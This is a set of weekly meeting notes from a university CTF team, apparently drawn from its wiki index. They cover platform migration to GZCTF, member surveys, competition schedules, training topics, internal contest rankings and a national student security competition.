Weibo: Activity dynamics and science popularization
Zhihu account: writeup analysis
Bilibili account: CTF science and teaching
52pojie forum: Reverse engineering technologies sharing.
CTF and research content combination: I always aspire to publish academic results, and it is fun to share my brand-new work contribution with others. Before that, I had only done a small amount of scientific work and still knew very little about how to publish a paper. Recently I've been talking with Hongyi Lu about trying to combine CTF content with academic papers. Much of what we are exposed to in CTF (especially in cryptography) seems to be very cutting edge, and I used to think that CTF is not accurate to just reproduce what has already been done. I hope to publish some work in 2023 as I explore the feasibility of combining CTF with research.
Between 2023-01-07 and 2023-01-08, we had an intramural practice session to test the new GZCTF platform, which gave me a very good experience using the platform and confirmed the idea of replacing CTFd with GZCTF.
The beta version of the platform is currently open on port 29998 of the Detroit server. When I finish the container revision and title migration work, I will close the CTFd service on port 80 and move GZCTF to port 80. Meanwhile, the GZCTF data of the test period will be retained.
A fresh start is the best start, I tend to clear the original user data to start from scratch and build a new and better platform. However, if you wish to keep your former account and keep your former solution records, I will also keep the data for you.
For data preservation and migration, please contact email: liz33@mail.sustech.edu.cn, when you send it, you can copy it to Prof. Fengwei Zhang in COMPASS lab: zhangfw@sustech.edu.cn, I will finish the platform migration as soon as possible.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-12/#idekctf-2022","title":"idekCTF 2022*","text":"Friday, 13 January 2023, 08:00 CST - Sunday, 15 January 2023, 08:00 CST
A idekCTF event.
Official URL: https://ctf.idek.team/
Rating weight: 24.56
Event organizers
NOTE: The start time has been pushed back by 22 hours from what is listed here. The event will begin on Friday, January 13, 2023, at 22:00:00 UTC (1673647200). The event duration is still 48 hours.
idekCTF is an information security CTF competition organized by the idek team and is aimed at high school and university students, with difficult challenges catering to more experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-12/#ugra-ctf-quals-2023","title":"Ugra CTF Quals 2023","text":"Saturday, 14 January 2023, 15:00 CST - Monday, 16 January 2023, 03:00 CST
A Ugra CTF event.
Official URL: https://2023.ugractf.ru/
Rating weight: 0.00
Event organizers
Ugra CTF Quals 2023 is an open information security competition for beginners. It is a 36-hour online event. Everybody is welcome to participate.
This CTF is organized by [team Team] in a joint effort with the Ugra Research Institute of Information Technologies and Information Technologies and Digital Development Department of the Khanty-Mansiysk Autonomous Okrug \u2014 Ugra.
Teams of high school students and others are playing in separate scoreboards, but they will be merged upon uploading to CTFtime.
Note: This year's challenges will be a bit easier than usual. If you enjoyed our previous years' Quals, come and join us at Ugra CTF Open 2023 which will be held June 2023.
The official language of Ugra CTF is Russian, but you are welcome to participate even if you don\u2019t speak it. We will try our best to ensure that no task relies on something that can\u2019t be understood by proper use of machine translation.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-12/#wrap-up","title":"Wrap-up","text":"In this week's weekly meeting, we adjusted the format and content format of the weekly meeting conducted after the day to facilitate work progress tracking and planning. I proposed a new planned content adjustment of the Wiki page, hoping to make the Wiki content more suitable for CTF beginners and players' reference.
In addition, we have reviewed the achievements of the 2022 varsity team, and also summarized the regrets and unfinished business of 2022, hoping to inspire us to continue our progress. At the same time, I have prepared many new plans for 2023.
The work on the new platform has been in the planning since the second half of 2022, from trying to adjust the CTFd, and gradually changing to the new platform GZCTF was chosen. In the test conducted last week, the stability and usability of GZCTF were tested, and I plan to change the tournament platform to GZCTF.
Finally, about the recent tournament matters. There will be two competitions this week, both of which are international competitions of CTFtime, and the idekCTF of which has CTFtime score weighting, so I hope students who can learn will participate.
The above is the content of this week's weekly meeting, if you have any comments/suggestions, please feel free to contact me.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-19/","title":"CTF Week Meeting 2023-01-19","text":"Happy New Year in advance to all of you! This is our last weekly meeting before the Spring Festival, and after the Spring Festival, we will start our plans and goals for the new year, so I hope we can still make progress together and build on our success.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-19/#work-progress-tracking","title":"Work progress tracking","text":"So far I have collected most of the questionnaire results from the members, with a total of 16 results from new members. Some of them are collected for the training of the last semester, and the other part is the comments and suggestions for the shortcomings of the previous training.
For training participation, 50% of the members almost always/always participate in the weekly training program and 87.5% of the members would participate in the weekly training program, recommendations regarding training participation I will list later.
Competition participation was unfortunate, with 18.8% of members participating in 3-5 competitions, while 62.5% of members participated in only 1-2 competitions. I encourage students to participate in more competitions, and I will follow your suggestions to improve the notification and participation format of the competitions.
The day-to-day work of the varsity team includes the maintenance of the wiki page, the updating of the tournament question platform, and the future posting of content to our social media accounts, which is difficult for me to do alone and therefore requires help. Happily, 81.3% of the members are willing to assist with this part of the work.
Regarding COMPASS lab, 56.2% of the members would like to participate in COMPASS lab research, choose COMPASS colleagues as mentors, or actively prepare to stay in COMPASS as graduate students. COMPASS is a very good environment and platform, and I hope that you would like to choose COMPASS as your future plan.
Unfortunately, after a semester of working together, three members decided to retire, either choosing to continue their studies in other directions or finding that CTF did not fit their future plans. I would also like to wish the members who chose to retire a bright future.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-19/#advice","title":"Advice","text":"The training model in question. There are some very good suggestions under this issue, and I will combine the training content explanation with the topics in future training, starting from the perspective of sharing the topics and introducing what should be explained here.
About the contest. I have matched teams according to everyone's intentions, and before the tournament, I would suggest participating through teams, even if you can only make one or two questions, you are contributing to this tournament all the same. In the tournament suggestions, I would make it a little easier to form teams.
In the future, I will also pay attention to everyone's class schedule and CTF time. I will increase the frequency of activities when people are not too busy, and try not to take up too much time during the midterm and final periods.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-19/#teams","title":"Teams","text":"I try to make sure the team has no more than five players (four + substitutes) so that it can meet the number requirements for most tournaments. For tournaments with a ten-player limit, it is possible to combine two teams for the tournament.
Due to such considerations, some students' team intentions were not met, so if you have any questions about team arrangements or are very interested in joining a particular team, you can also contact me and I will rearrange it.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-19/#0x2-training-plan-during-winter-break","title":"0x2. Training plan during winter break","text":"The tournament schedule for the winter break will be synced on my Google calendar and also made public each week in the group for the week. If it is a contest that requires advance registration for team formation, I will synchronize it higher. For the rest of January, here is the schedule of competitions, which students are free to choose their own time to participate in.
Competition Name Link Start Time End Time Require pre-register Insomni'hack teaser 2023 https://insomnihack.ch/contests/ 2023-1-20 20:00 2023-1-22 20:00 False KnightCTF 2023 https://knightctf.com/ 2023-1-20 23:00 2023-1-21 23:00 False bi0sCTF 2022 https://ctf.bi0s.in/ 2023-1-21 23:00 2023-1-22 23:00 False \u897f\u6e56\u8bba\u5251\u7f51\u7edc\u5b89\u5168\u6280\u80fd\u5927\u8d5b-\u521d\u8d5b https://game.gcsis.cn/ 2023-2-02 00:00 2023-2-02 23:59 TrueFor members participating in the competition I suggest posting a link to your team invitation and a link to the competition in the group so that students who are also planning to join the competition can join the team more easily.
In addition, there will be some basic content recording training to catch up on the basics of network security. These trainings will not take place at a fixed time, and most of them will be recorded. If it is an online meeting or a live broadcast, the corresponding recording will also be kept.
The specific content selection I will complete in the near future and will be released on public channels as soon as possible.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-19/#0x3-apply-for-more-ports-with-its-on-the-detroit-server","title":"0x3. Apply for more ports with ITS on the Detroit server","text":"Two weeks ago, I submitted an OA request form to open all ports above 20,000 on the detroit server to accommodate the new GZCTF platform. The new platform assigns ports rather randomly, and the container assignment dependency library it uses does not have the ability to set port ranges, so if you want to limit the ports assigned to 20000-30000, you will need to make some ugly network level changes, which I prefer not to do.
Besides, the originally requested 20,000-30,000 ports are getting stretched and may not meet our service needs in the future, requesting more ports is one solution (another solution is for me to open the docker containers on a public container hosting platform).
After two long weeks of waiting, the OA file was marked as processed, but the ports were not open. ITS believes that requesting more than 30,000 ports will still require a new security scan and check, and intends to follow up with me via email (which I have not received so far).
The migration of the GZCTF platform has been affected somewhat, and if the ports are not open, then the dynamic and static container features of GZCTF will not be available off-campus, and I will not be able to run practice rounds on GZCTF (as all topics using containers will not work).
Suffice it to say that the GZCTF migration progress is being blocked by the progress of the ITS application.
I will continue to follow up on the progress of the port application and hope to finish it as soon as possible.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-19/#0x4-upcoming-events","title":"0x4. Upcoming events","text":"It has been listed above and will not be repeated.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-19/#wrap-up","title":"Wrap-up","text":"The restructuring of new members and team assignments are almost complete, and I have taken some good advice and made adjustments to future plans.
The tournament schedule will make it as easy as possible for students to form teams and hopefully participate in more tournaments. I have listed the recent tournament schedule and the rest of the winter break plans are being designed and will be made public in a few days.
The migration of the GZCTF platform has been delayed by the slow progress of ITS, which I am following up on.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-02/","title":"CTF Week Meeting 2023-02-02","text":"After the end of the Spring Festival, I am working on the work matters planned for the year before, and we are also participating in the West Lake Sword Tournament today, so I wish you all continue to move forward in the next semester.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-02/#work-progress-tracking","title":"Work progress tracking","text":"Just a game.
Inspired by an entertainment contest mentioned in a chat, I am working on the content design and topic design, about 20 questions or so, there will be some simple promotion in QQ group/CTFtime, not a serious cyber security RW vulnerability contest, but entertainment for beginners.
The contest is tentatively scheduled for Feb 26 - Feb 27, 2023, and will last for 24 hours.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-02/#0x2-remedial-content-session","title":"0x2. Remedial content session","text":"In these tutorials, I will sync the written content to our wiki for use as an introduction to cybersecurity, currently selected content is
This content will be updated gradually in the form of written materials or video images and will not be available in offline training sessions.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-02/#0x3-2023-spring-training-schedule","title":"0x3. 2023 spring training schedule","text":"For the spring 2023 program, we will continue to use the same weekly training format as before, and we will accept your suggestions to add a sharing and combination of questions to the training and add more practical content in addition to theory.
Each week, I will also post an archived replay of a recent competition, or a self-practice session on a selected topic, which you are free to arrange according to your schedule. Of course, if there is a competition planned for the week, the competition topic review will be delayed/reduced/canceled.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-02/#spring-2023-program","title":"Spring 2023 Program","text":"In the spring 2023 program, we have two components: recruitment of new members and advanced training. After a semester of competition and training, everyone's cybersecurity level and ability have improved, and I will focus on deepening learning in a certain direction this semester.
I will not recruit too many new members this semester, and the final recruitment will still be conducted through the competition, mainly for the freshmen of 2022, and the number of recruits will be mainly used to make up for the number of members who will graduate after this semester.
The number of recruits will be used to make up for the number of members who will graduate after this semester. The spring 2023 offline training and competition questions will be updated on this page.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-02/#0x4-upcoming-events","title":"0x4. Upcoming events.","text":"I have updated the tournament calendar for February and here are the tournaments that will take place this week.
Competition Name Link Start Time End Time Require pre-register \u897f\u6e56\u8bba\u5251\u7f51\u7edc\u5b89\u5168\u6280\u80fd\u5927\u8d5b-\u521d\u8d5b https://game.gcsis.cn/ 2023-02-02 10:00 2023-02-02 18:00 True/End Byte Bandits CTF 2023 BB CTF 2023-02-04 14:30 2023-02-05 14:30 False DiceCTF 2023 DiceCTF 2023 2023-02-04 05:00 2023-02-06 05:00 FalseI'm going to participate in competitions. For the team invite links, feel free to pm me or ask a question in the WeChat Group.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-02/#wrap-up","title":"Wrap-up","text":"We planned an upcoming recreational game and summarized what had been accomplished. Three new upcoming programs have been filed in the minutes of this weekly meeting.
The remedial training materials for the basic content will be refined and released in the near future, including a series of training programs for spring 2023 with a replay of the race in question, which will also be updated in real-time.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-09/","title":"CTF Week Meeting 2023-02-09","text":"We finished 87th in the Xihulunjian tournament, 1 challenge away from 60th place, so we are not in the final. We will still continue to compete in tournaments, and our first practice after the school year starts is February 19.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-09/#work-progress-tracking","title":"Work progress tracking","text":"The reproduction environment is being built, and various materials including attachments, descriptions and writeups have been collected to complete the topics that can be reproduced. The container environment will be on the new platform of GZCTF, and after the completion of this reproduction, the old platform will be gradually transferred, and the topics will be replaced by the new platform after the migration is completed.
At present, GZCTF is open on port 29998 and has confirmed that the high-end port is open and can be used for testing and topic implementation.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-09/#0x2-upcoming-events","title":"0x2. Upcoming events","text":"I have updated the tournament calendar for February and here are the tournaments that will take place this week.
Competition Name Link Start Time End Time Require pre-register HSCSEC CTF 2023 https://race.hscsec.cn/ 2023-02-11 00:00 2023-02-13 00:00 False LA CTF 2023 https://lactf.uclaacm.com/ 2023-02-11 12:00 2023-02-13 06:00 False MHSCTF 2023 https://mhsctf2023.ctfd.io/ 2023-02-02 01:00 2023-02-15 06:00 False"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-09/#wrap-up","title":"Wrap-up","text":"I'm working on the reproduction environment of Xihulunjian. The progress would update instantly on detroit server port 29998. The upcoming events are listed above.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-16/","title":"CTF Week Meeting 2023-02-16","text":"Welcome back to the university. We are going to have our first training this semester in Feb. 19th. The location is 551 Meeting Room, Southern Tower of Engineering Department. Topics are listed below.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-16/#work-progress-tracking","title":"Work progress tracking","text":"After the CTF, if you are a student in SUSTech, we would have some prizes for top players.
And for the top 5 players who haven't been in the CTF team / COMPASS lab, we would glad to invite you to join us.
Rank ID Score 1 Cerulime 1373 2 Ben 1225 3 cerium 825 4 Trust_04zh 675 5 nobody 575 6 CharlottE67 350 7 12012430 275 8 yxx 200The prizes are being customized and will be given to the winners offline before the second week of training.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-16/#0x2-ctf-related-research-components","title":"0x2. CTF-Related Research Components","text":"I will continue to communicate with my colleagues in the COMPASS lab to try to integrate CTF with academic research. Currently, through communication with some CTF players, cryptography is the most closely integrated link between CTF and research. An example of this is the research described below.
https://blog.trailofbits.com/2022/11/29/specialized-zero-knowledge-proof-failures/
Fuzzing is likewise a relatively hot topic in research, and the following information is relevant.
https://blog.trailofbits.com/2022/12/08/hybrid-echidna-fuzzing-optik-maat/
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-16/#0x3-2023-spring-training-schedule","title":"0x3. 2023 Spring Training Schedule","text":"Topic Category Attachment Date Network Sniff: Introduction Web https://ithelp.ithome.com.tw/articles/10245117https://ithelp.ithome.com.tw/articles/10245119https://ithelp.ithome.com.tw/articles/10246315https://ithelp.ithome.com.tw/articles/10246917 Feb. 19th, 2023 Network Sniff: Multi-platform Web https://frida.re/docs/android/ Feb. 26th, 2023 Network Scan Web https://websec.readthedocs.io/zh/latest/index.html March. 5th, 2023 Ethereum and Solidity: Introduction Blockchain http://www.snowywar.top/?p=3848 March. 12th, 2023 Ethereum and Solidity: Practice Blockchain http://www.snowywar.top/?p=3848 March. 19th, 2023 IoT Security IoT https://paper.seebug.org/2048/ March. 26th, 2023 PWN: Stack PWN https://ir0nstone.gitbook.io/notes/ April. 2nd, 2023 PWN: Heap PWN https://ir0nstone.gitbook.io/notes/ April. 9th, 2023 PWN: Kernel PWN https://ir0nstone.gitbook.io/notes/https://paper.seebug.org/2036/ April. 16th, 2023 Reverse Enginnering RE https://0xinfection.github.io/reversing/ April. 23th, 2023 Real-World Cryptography Cryptography https://vitalik.ca/index.html April. 30th, 2023 Real-World Security: Penetration RW https://www.ired.team/ May. 7th, 2023 Real-World Security: Malware RW https://www.ired.team/ May. 14th, 2023 Real-World Security: Summary RW https://www.ired.team/ May. 21st, 2023"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-16/#0x4-upcoming-events","title":"0x4. Upcoming events","text":"This weekend we would participate in the pbctf
, which is one of the top events. Another competition is also interesting.
The prizes of COMPASS CTF 2022 are being customized and will be given to the winners offline before the second week of training. The time schedule of the training this semester is published.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-23/","title":"CTF Week Meeting 2023-02-23","text":"Good afternoon, everyone. Welcome to this meeting. I hope you are all doing well today. We have a lot to cover, so let's get started. Let's make sure we respect each other's time, opinions, and ideas. Please be concise and stay on topic to ensure that we stay on schedule. And please feel free to ask questions or provide feedback at any time.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-23/#work-progress-tracking","title":"Work progress tracking","text":"After the CTF, if you are a student in SUSTech, we would have some prizes for top players.
And for the top 5 players who haven't been in the CTF team / COMPASS lab, we would glad to invite you to join us.
Rank ID Score 1 Cerulime 1373 2 Ben 1225 3 cerium 825 4 Trust_04zh 675 5 nobody 575 6 CharlottE67 350 7 12012430 275 8 yxx 200The prizes are being customized and will be given to the winners offline before the second week (next week) of training.
I would invite the winners to our training this week and write the order for them prizes. Hope you enjoy this event.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-23/#0x2-ctf-related-research-components","title":"0x2. CTF-Related Research Components","text":"I list 12 ideas here, and I would add a new component in our weekly training for the students who are interested in the paper submitting. The topics are related to the CTF, and popular in the research area.
For more details, I need to discover more with COMPASS's outstanding memebers.
A new summary about the research topics would be put after the training, for your academic purpose.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-02-23/#wrap-up","title":"Wrap-up","text":"I've talked about the COMPASS CTF 2022 Winners and Prizes, and invite the winners to our weekly meetings this week. Hope to see you this Sunday. For the research topics, I found more than 20 papers and selected 12 ideas about the CTF research, hope this can help you. Don't forget to join our weekly meeting this Sunday at 551 Meeting Room.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-02/","title":"CTF Week Meeting 2023-03-02","text":"Glad to have a new student who is interested in the CTF, I've talked with him a little bit. Let's start our meeting this week. Don't forget we would have our training this Sunday normally.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-02/#work-progress-tracking","title":"Work progress tracking","text":"Discuss later after the meeting.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-02/#0x2-new-platform-gzctf","title":"0x2. New Platform GZCTF","text":"The migration and backup of most of the original titles have been completed and are being deployed to the new platform. Discussion item 1: the type of topics migrated and the positioning of the GZCTF platform.
Positioning of the new platform: used for topic reproduction environment (official environment has ended maintenance) and deployment and distribution of original topics. It can also be used for internal competition activities, competition, and new member recruitment.
Topic migration scope.
The retention of the old account will be discussed this week, whether to retain the original account data or to carry out a new account system. Discussion Item 2: Account data migration will be conducted.
A new approach to recruiting new members this semester will be used to address the issue of basic content training taking time away from training for active members. At one time, when we did new member recruitment, we would embark on 2-3 weeks of basic content training, and it would be difficult for advanced-level members to learn anything new during that portion of time.
Therefore, this semester's recruitment will be in the form of catechism/materials + offline advanced training. I will migrate the basic content training online, and invite the whole school to attend a 3-week basic content training and lecture, after which a recruitment/in-school competition will be held to decide on new members.
The number of new members recruited this semester will be about 5.
Basic content training will be posted on a wiki and linked to online archiving platforms (e.g. social accounts or catechism sites), and sections on basic content include.
Additional information on the foundation content is provided in part as follows.
The idea to write the book \"CTF: From Practice to Principle\" is inspired by my professor Fengwei, Zhang. From all of my personal experience with the CTF challenges and the events, there's always a huge gap between the beginner layer introduction to the advanced layer expert. When I start to step out of the beginner layer, it's very difficult to understand how and why some advanced knowledge.
Under the thought of this aspect of the difficulty, I want to introduce those things you won't know when first solved some challenges. Each chapter of the book would start with some practice knowledge, and end with some difficult advanced principles. The whole book would be divided into two parts: basic knowledge that you can learn from simply reading and learning some limited necessary knowledge, and the hard part is that you need to read more about the principle, source code, and the details of the techniques.
Being restricted by my skills, some parts of the book would refer to online websites, technical books, and research papers. I would carefully note the reference when I use them, and if that reference has violated the terms of usage, please contact me and I would delete those parts immediately. Besides, related apologies and compensation would be discussed.
**Example reference format: **
One of the common tools for web directory scanning is dirbuster
[1]. According to ...
[1] dirbuster: https://www.kali.org/tools/dirbuster/ Kali dirbuster description page, https://gitlab.com/kalilinux/packages/dirbuster GitLab dirbuster source code page
The writing of the book is done by my limited experience and the architecture of knowledge. The mistakes and the errors are not avoidable. If you find any of them, please feel free to contact me, very glad to have your advice. By the way, I would like to send some presents (stickers, T-shirts, or other little things) in return. Luckily, we have an online page to host the book during my writing progress. It's also fine to use GitHub's pull request to correct any mistake.
Enough for the book writing, now let's talk about the structure of the book in the next chapter.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-02/#0x5-national-college-student-information-security-contest","title":"0x5. National College Student Information Security Contest","text":"The National Student Information Security Competition is a large-scale network security competition recognized by the Ministry of Education and co-organized by the Office of the Leading Group of Network Security and Informatization of the CPC Central Committee, the National Information Security Engineering and Technology Research Center, the China Internet Development Foundation, and the China Information Security Certification Center, which has been held for fifteen years so far, including Peking University, Tsinghua University, Beijing Institute of Electronic Science and Technology Beijing University of Aeronautics and Astronautics, Renmin University of China, and Fudan University all conduct special training and participation for this purpose.
The competition will be held in two tracks: the \"Works Competition\" and the \"Innovation and Practice Competition\". I will introduce them separately and use the 15th National Student Information Security Competition as an example to help you schedule.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-02/#the-15th-national-university-student-information-security-competition-information-security-works-competition","title":"The 15th National University Student Information Security Competition Information Security Works Competition","text":"Reference link: http://117.78.33.202/competition/securityCompetition?compet_id=35
I. Contents of this competition
The information security works competition adopts open-ended and self-designed questions, and participants must complete the works and submit them online before the deadline. The content requirements of the entries are in accordance with the relevant provisions in the Charter of the National University Student Information Security Competition and the Entry Guide of the 2022 National University Student Information Security Competition-Works Competition (which will be published through the official website of the competition at http://www.ciscn.cn/\u516c\u5e03 after the opening of the competition).
The Security Forum contains several thematic sections, focusing on current trends and technical hotspots of the network security industry, discussing the cultivation of network security talents and innovation and entrepreneurship of college students, and carrying out colorful keynote speeches and all-around interaction.
II. the object of participation
Participants are full-time college students with official school registration nationwide. Students can form their own teams, and each team should have no more than 4 students (including a team leader). Each team is limited to one designated instructor and each student is limited to one team. The number of teams from each university is not limited and cross-college teams are not allowed.
The Forum on Innovation and Entrepreneurship Development of Network Security Talents held during the final of the Information Security Competition will be open to teachers and students, enterprises, and individuals from universities nationwide.
III. Participation Method
According to the requirements of the Statute of the National University Students' Information Security Competition and the Participation Guide of the 2022 National University Students' Information Security Competition - Works Competition, please refer to the website of the competition for details.
IV. Timetable
Activities Activity Phase Schedule Information Security Competition. Registration and pre-tournament counseling. April 25-June 13. Information Security Competition. Online submission of entries. April 30-June 15. Information Security Competition. Preliminary List Announcement. June 18. Information Security Competition. Online preliminary evaluation. June 25 - July 25. Information Security Competition. Finalists announced. July 31. Information Security Competition. Final evaluation meeting. August 19 registration, August 20 - August 21 competition. Information Security Competition. Award ceremony. August 22nd. Network Security Talent Forum. Call for topics and invitation of experts. April 25 - July 31. Network Security Talent Forum. Main Forum. August 22nd.V. Registration Instructions
The online registration period for the Information Security Competition starts and ends on April 25, 2022, to June 13, 2022, at 24:00.
After receiving the notification, each university should designate one teacher as the contact person (the contact person must be the university leader) before June 1, responsible for the matters related to the competition of the university, and download the \"university contact teacher registration form\" (see Annex 1) on the competition website, fill in the teacher's information as required and send it to the organizing committee via email Secretariat (including the electronic version and the scanned copy of the paper version with seal).
The organizing committee will finish the qualification examination for the information security works competition on June 18 and announce the list of participants of the information security works competition. Before June 25, the contact person of each university shall summarize the \"Summary Form of University Teams\" (see Annex 2, downloaded from the competition website) and send it to the secretariat of the Organizing Committee via email (including electronic version and scanned copy of the sealed paper version). Teams participating in the Information Security Competition are required to pay the participation fee ($200 per team).
I. Competition Organization Form
The competition is organized in four stages: online registration and team formation, online preliminary selection, zonal competition, and national finals. There are eight regions in China, and teams from universities in each region will advance to the national finals through the regional competition.
For more details and specific arrangements, please refer to the \"15th National Student Competition on Information Security - Innovation and Practical Ability Competition Regulations\", which will be announced through the official website of the competition (http://www.ciscn.cn/) after the competition starts.
II. Target Participants and Requirements
The target participants shall be full-time students (including senior high school, undergraduate and postgraduate students) with regular school registration in higher education institutions (undergraduate and senior high school institutions) nationwide, and the specific requirements are as follows
(1) The maximum number of participants in each team shall not exceed 4, the number of teams in each university shall not be limited, and no cross-college teams shall be allowed.
(2) Each person can only participate in one team (i.e. no team can be formed with others after individual participation, or no other team after individual participation in one team), and one instructor is allowed.
(3) The campuses of universities distributed in different cities are regarded as different universities, and each campus can form teams to participate and be shortlisted for the divisional finals of their divisions, as well as the finals stage.
(4) Instructors must be teachers in service at the universities where the teams are located. (3) Instructors can guide students in team formation and knowledge and skill training, but on-site participation must be done independently by participating students.
(6) The instructors are responsible for managing and guiding the participating student teams throughout the whole process, and the participation process must not violate the competition rules, attack the competition platform, system, and third-party services, or violate national laws, regulations, and public order and morals (such as team names, etc.); the organizing committee will select excellent instructors (instructors of the teams that won the national first prize and innovation single award) and give them recognition.
III. Competition schedule
Activities Activity Phase Schedule Innovation Practice Competency Competition. Registration and coaching. April 29-May 20. Innovation Practice Competency Competition. Announcement of the preliminary competition list. Around May 24th. Innovation Practice Competency Competition. Online preliminary rounds. May 28-29. Innovation Practice Competency Competition. The divisional list was announced. June 3. Innovation Practice Competency Competition. Divisional competition time. June 6-20. Innovation Practice Competency Competition. The finals list announced. July 1. Innovation Practice Competency Competition. The Finals. August 6-7.IV. Other matters
Important notices and instructions about this competition will be announced and notified by the organizing committee through the competition's official website and official QQ group.
The organizing committee will conscientiously implement the important speeches and instructions of General Secretary Xi Jinping on epidemic prevention and control, and if the situation of epidemic prevention and control of the new crown changes, the competition format, competition time, or content of the competition activities will be adjusted in accordance with the national and superior requirements in a timely manner. The details will be announced and notified through the competition website and official QQ group in a timely manner.
We've talked about the AEG research idea about CTF this week. About the GZCTF, we've decided on the challenge categories and the data transmission rule. The new member recruiting project is ongoing, thanks for the advice for our poster. A book named \"CTF From Practice to Principle\" is now writing in order to give a brief idea to beginners in the CTF. At last, be sure you are prepared for the \"National College Information Security Competition\" as a COMPASS team.
Looking forward to seeing you on Sunday.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/","title":"CTF Week Meeting 2023-03-09","text":"In the first few weeks of the school year, our offline training is on schedule and we have recently been working on the training content with our Hunan University students. The recruitment program is also underway and more new students will be joining us soon. We still want to thank COMPASS Lab for the great support and hope that students will join COMPASS Lab in an excellent environment for innovative experiments and graduate students' choices.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#work-progress-tracking","title":"Work progress tracking","text":"All of our prizes have been customized and we are about to complete the final awarding part of this competition.
I hope everyone learned and made progress in this competition. Most importantly, I hope all the participants enjoyed the competition!
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#0x2-wiki-page-content-adjustment","title":"0x2. Wiki page content adjustment","text":"I'm updating the wiki's toolkit directory, uploading all the tools I've used recently, and merging several toolset sites for inclusion. For beginners, you can use the toolset directly to build your environment quickly.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#windows10-penetration-suite-toolkit-within-kali-linux","title":"Windows10 Penetration Suite Toolkit within Kali Linux","text":""},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#system-description","title":"System Description","text":"Based on the original Win10 Workstation 21H2 x64 image (not available for ARM devices).
Complete installation of WSL Kali Linux 2022.3.
streamline the software that comes with the system, beautify the fonts and some icons, and moderate optimization.
using single-disk file storage to improve performance.
Recommended runtime environment:
https://github.com/makoto56/penetration-suite-toolkit
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#kali-linux","title":"Kali Linux","text":"The most advanced Penetration Testing Distribution
Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics, and Reverse Engineering.
The Kali Linux penetration testing platform contains a vast array of tools and utilities. From information gathering to final reporting, Kali Linux enables security and IT professionals to assess the security of their systems.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#links_1","title":"Links","text":"https://www.kali.org/
https://www.kali.org/tools
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#black-arch-linux","title":"Black Arch Linux","text":""},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#about","title":"About","text":"BlackArch Linux is an Arch Linux-based penetration testing distribution for penetration testers and security researchers. The repository contains 2840 tools. You can install tools individually or in groups. BlackArch Linux is compatible with existing Arch installs. For more information, see the installation instructions. Also, news is published on our blog.
Please note that BlackArch is a relatively new project. To report bugs and request new tools, please visit the issue tracker on Github, stop by Matrix, or email us.
The BlackArch Full ISO contains multiple window managers. The BlackArch Slim ISO features the XFCE Desktop Environment. Below you will find screenshots of a few of them.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#links_2","title":"Links","text":"https://blackarch.org/
In addition, the tutorial section of the basic content has been uploaded to the wiki page, and you can now view the basic training section which is being updated, and later I will also update our new topic practice and tournament contact page to the home page.
https://wiki.compass.college/CTF/CTF%20and%20Hacker%20Attitude/
https://wiki.compass.college/CTF/Linux%20Basics/
https://wiki.compass.college/CTF/Python_1/
https://wiki.compass.college/CTF/Python_2/
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#0x3-new-member-recruitment","title":"0x3. New Member Recruitment","text":"\u8ba1\u7b97\u673a\u79d1\u5b66\u4e0e\u6280\u672f\u7cfbCOMPASS\u5b9e\u9a8c\u5ba4\u6709\u5173\u8ba1\u7b97\u673a\u5b89\u5168\u4e0e\u7f51\u7edc\u5b89\u5168\u57f9\u8bad\u7684\u9080\u8bf7\u51fd
\u540c\u5b66\u4eec\u597d\uff0c
